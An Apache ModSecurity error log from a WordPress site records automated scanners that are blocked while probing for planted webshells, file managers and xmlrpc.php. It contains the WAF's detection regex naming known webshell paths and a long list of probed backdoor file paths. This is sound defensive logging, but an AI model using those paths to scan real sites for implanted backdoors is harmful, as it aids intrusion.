[Sat Apr 18 19:51:55.400250 2026] [:error] [pid 34237:tid 34256] [client 217.216.58.146:61746] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade//pdf.php"] [unique_id "aeNwWxBmX4Wq5a6rxfabMQAAAVE"]
[Sat Apr 18 19:51:55.833130 2026] [:error] [pid 34237:tid 34245] [client 217.216.58.146:61773] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/init-help/init.php"] [unique_id "aeNwWxBmX4Wq5a6rxfabNQAAAUY"]
[Sat Apr 18 19:51:56.233319 2026] [:error] [pid 34290:tid 34336] [client 217.216.58.146:61792] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeNwXBqX6WpmmAXOBi8TRAAAAdE"]
[Sat Apr 18 19:51:56.630435 2026] [:error] [pid 34290:tid 34337] [client 217.216.58.146:61823] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd-1/pwnd.php"] [unique_id "aeNwXBqX6WpmmAXOBi8TRgAAAdI"]
[Sat Apr 18 19:51:57.024713 2026] [:error] [pid 34237:tid 34247] [client 217.216.58.146:61864] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/Core-Econ/upH.php"] [unique_id "aeNwXRBmX4Wq5a6rxfabOwAAAUg"]
[Sat Apr 18 19:51:57.426325 2026] [:error] [pid 34237:tid 34242] [client 217.216.58.146:61916] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/envato-market/inc/class-envato-market-api.php"] [unique_id "aeNwXRBmX4Wq5a6rxfabPQAAAUM"]
[Sat Apr 18 19:51:57.849621 2026] [:error] [pid 9865:tid 9957] [client 217.216.58.146:61961] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "aeNwXazb5knECIY-C-h9fAAAAJQ"]
[Sat Apr 18 19:51:58.258909 2026] [:error] [pid 34237:tid 34249] [client 217.216.58.146:62002] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/newsfeed-theme/bbh.php"] [unique_id "aeNwXhBmX4Wq5a6rxfabQAAAAUo"]
[Sat Apr 18 19:51:58.662797 2026] [:error] [pid 34290:tid 34319] [client 217.216.58.146:62034] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aeNwXhqX6WpmmAXOBi8TSAAAAcA"]
[Sat Apr 18 19:51:59.056694 2026] [:error] [pid 34290:tid 34342] [client 217.216.58.146:62054] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-content/index.php"] [unique_id "aeNwXxqX6WpmmAXOBi8TSQAAAdc"]
[Sat Apr 18 19:51:59.460492 2026] [:error] [pid 9970:tid 9993] [client 217.216.58.146:62080] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/paragraph/index.php"] [unique_id "aeNwXyYdRLRhVmaIMx2vAAAAANM"]
[Sat Apr 18 19:51:59.862991 2026] [:error] [pid 13023:tid 13043] [client 217.216.58.146:62104] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNwX_1e7hG8DAeABB8AsgAAARI"]
[Sat Apr 18 19:52:00.272924 2026] [:error] [pid 9863:tid 9885] [client 217.216.58.146:62130] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "aeNwYDjjiypiFrTucbLJ0AAAAAw"]
[Sat Apr 18 19:52:00.692022 2026] [:error] [pid 34290:tid 34338] [client 217.216.58.146:62151] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "aeNwYBqX6WpmmAXOBi8TSwAAAdM"]
[Sat Apr 18 19:52:01.100486 2026] [:error] [pid 9865:tid 9941] [client 217.216.58.146:62179] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "aeNwYazb5knECIY-C-h9hQAAAIQ"]
[Sat Apr 18 19:52:01.890806 2026] [:error] [pid 34237:tid 34250] [client 217.216.58.146:62209] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php7"] [unique_id "aeNwYRBmX4Wq5a6rxfabRwAAAUs"]
[Sat Apr 18 19:52:02.393861 2026] [:error] [pid 9864:tid 9912] [client 217.216.58.146:62234] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "aeNwYoCFeowknfXHM7kRKAAAAEY"]
[Sat Apr 18 19:52:02.884393 2026] [:error] [pid 34290:tid 34320] [client 217.216.58.146:62254] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "aeNwYhqX6WpmmAXOBi8TUAAAAcE"]
[Sat Apr 18 19:52:03.552062 2026] [:error] [pid 13023:tid 13036] [client 217.216.58.146:62273] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/view-more/ioxi.php"] [unique_id "aeNwY_1e7hG8DAeABB8AtAAAAQs"]
[Sat Apr 18 19:52:04.092278 2026] [:error] [pid 9970:tid 9994] [client 217.216.58.146:62294] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/erinyani/baxa1.php7"] [unique_id "aeNwZCYdRLRhVmaIMx2vAgAAANQ"]
[Sat Apr 18 19:52:04.552159 2026] [:error] [pid 9864:tid 9908] [client 217.216.58.146:62325] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/erinyani/baxa1.php"] [unique_id "aeNwZICFeowknfXHM7kRKwAAAEM"]
[Sat Apr 18 19:52:05.109958 2026] [:error] [pid 9864:tid 9929] [client 217.216.58.146:62359] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/seoxx/randkeyword.php"] [unique_id "aeNwZYCFeowknfXHM7kRLQAAAFc"]
[Sat Apr 18 19:52:05.556889 2026] [:error] [pid 9864:tid 9913] [client 217.216.58.146:62374] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "aeNwZYCFeowknfXHM7kRMgAAAEc"]
[Sat Apr 18 19:52:06.301893 2026] [:error] [pid 9865:tid 9958] [client 217.216.58.146:62397] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "aeNwZqzb5knECIY-C-h9hwAAAJU"]
[Sat Apr 18 19:55:45.824095 2026] [:error] [pid 34237:tid 34262] [client 95.159.56.228:49979] [client 95.159.56.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.56.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNxQRBmX4Wq5a6rxfacfQAAAVc"]
[Sat Apr 18 19:55:56.507582 2026] [:error] [pid 34237:tid 34256] [client 95.159.56.228:50222] [client 95.159.56.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.56.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNxTBBmX4Wq5a6rxfactgAAAVE"]
[Sat Apr 18 19:56:09.775175 2026] [:error] [pid 9970:tid 9997] [client 95.159.56.228:58127] [client 95.159.56.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.56.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNxWSYdRLRhVmaIMx2vnQAAANc"]
[Sat Apr 18 19:56:25.580621 2026] [:error] [pid 34237:tid 34246] [client 95.159.56.228:56514] [client 95.159.56.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.56.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNxaRBmX4Wq5a6rxfac_QAAAUc"]
[Sat Apr 18 19:56:29.745995 2026] [:error] [pid 9864:tid 9906] [client 95.159.56.228:56772] [client 95.159.56.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.159.56.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNxbYCFeowknfXHM7kS7gAAAEE"]
[Sat Apr 18 20:13:15.533413 2026] [:error] [pid 34288:tid 34305] [client 45.227.163.112:48106] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeN1W-TIiy__PtiLmpnSdAAAAY0"]
[Sat Apr 18 20:35:57.582800 2026] [:error] [pid 34290:tid 34325] [client 46.105.230.99:49020] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeN6rRqX6WpmmAXOBi8gPgAAAcY"]
[Sat Apr 18 21:02:38.076396 2026] [:error] [pid 9970:tid 9983] [client 157.66.27.30:34382] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOA7iYdRLRhVmaIMx285AAAAMk"]
[Sat Apr 18 21:07:46.470961 2026] [:error] [pid 9865:tid 9958] [client 4.223.172.220:53284] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aeOCIqzb5knECIY-C-iLmAAAAJU"]
[Sat Apr 18 21:07:53.462289 2026] [:error] [pid 13023:tid 13032] [client 4.223.172.220:48165] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aeOCKf1e7hG8DAeABB8VSgAAAQc"]
[Sat Apr 18 21:07:56.329912 2026] [:error] [pid 9865:tid 9952] [client 4.223.172.220:49975] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aeOCLKzb5knECIY-C-iLnQAAAI8"]
[Sat Apr 18 21:07:58.189706 2026] [:error] [pid 9864:tid 9907] [client 4.223.172.220:60307] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aeOCLoCFeowknfXHM7kj7wAAAEI"]
[Sat Apr 18 21:08:02.790763 2026] [:error] [pid 9864:tid 9923] [client 4.223.172.220:37105] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeOCMoCFeowknfXHM7kj8QAAAFE"]
[Sat Apr 18 21:08:04.420831 2026] [:error] [pid 9864:tid 9926] [client 4.223.172.220:52625] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeOCNICFeowknfXHM7kj8gAAAFQ"]
[Sat Apr 18 21:08:07.588299 2026] [:error] [pid 34290:tid 34334] [client 4.223.172.220:64579] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeOCNxqX6WpmmAXOBi8iwQAAAc8"]
[Sat Apr 18 21:08:08.577412 2026] [:error] [pid 9970:tid 9993] [client 4.223.172.220:53981] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "aeOCOCYdRLRhVmaIMx2_hAAAANM"]
[Sat Apr 18 21:08:09.821832 2026] [:error] [pid 9863:tid 9888] [client 4.223.172.220:52664] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeOCOTjjiypiFrTucbLRUwAAAA8"]
[Sat Apr 18 21:08:10.506583 2026] [:error] [pid 9970:tid 9998] [client 4.223.172.220:53987] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeOCOiYdRLRhVmaIMx2_jwAAANg"]
[Sat Apr 18 21:08:11.278105 2026] [:error] [pid 9865:tid 9953] [client 4.223.172.220:41846] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeOCO6zb5knECIY-C-iLowAAAJA"]
[Sat Apr 18 21:08:11.976114 2026] [:error] [pid 9863:tid 9881] [client 4.223.172.220:64597] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "aeOCOzjjiypiFrTucbLRVQAAAAg"]
[Sat Apr 18 21:08:13.549870 2026] [:error] [pid 9865:tid 9952] [client 4.223.172.220:11847] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeOCPazb5knECIY-C-iLqAAAAI8"]
[Sat Apr 18 21:08:14.539385 2026] [:error] [pid 13023:tid 13025] [client 4.223.172.220:47121] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeOCPv1e7hG8DAeABB8VYQAAAQA"]
[Sat Apr 18 21:08:15.803472 2026] [:error] [pid 32678:tid 32707] [client 4.223.172.220:11855] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeOCPxUlAXU_ZWUu5y_8LwAAAoA"]
[Sat Apr 18 21:08:17.206337 2026] [:error] [pid 9865:tid 9946] [client 4.223.172.220:42863] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "aeOCQazb5knECIY-C-iLrQAAAIk"]
[Sat Apr 18 21:08:18.585695 2026] [:error] [pid 9970:tid 9998] [client 4.223.172.220:64613] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeOCQiYdRLRhVmaIMx2_mwAAANg"]
[Sat Apr 18 21:08:20.215957 2026] [:error] [pid 9865:tid 9949] [client 4.223.172.220:52689] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeOCRKzb5knECIY-C-iLtwAAAIw"]
[Sat Apr 18 21:08:21.263002 2026] [:error] [pid 32678:tid 32725] [client 4.223.172.220:52643] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeOCRRUlAXU_ZWUu5y_8MwAAApI"]
[Sat Apr 18 21:08:22.688466 2026] [:error] [pid 9864:tid 9930] [client 4.223.172.220:42821] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeOCRoCFeowknfXHM7kj-AAAAFg"]
[Sat Apr 18 21:08:23.852528 2026] [:error] [pid 13023:tid 13034] [client 4.223.172.220:42844] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeOCR_1e7hG8DAeABB8VZQAAAQk"]
[Sat Apr 18 21:08:24.785688 2026] [:error] [pid 13023:tid 13036] [client 4.223.172.220:52709] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeOCSP1e7hG8DAeABB8VZwAAAQs"]
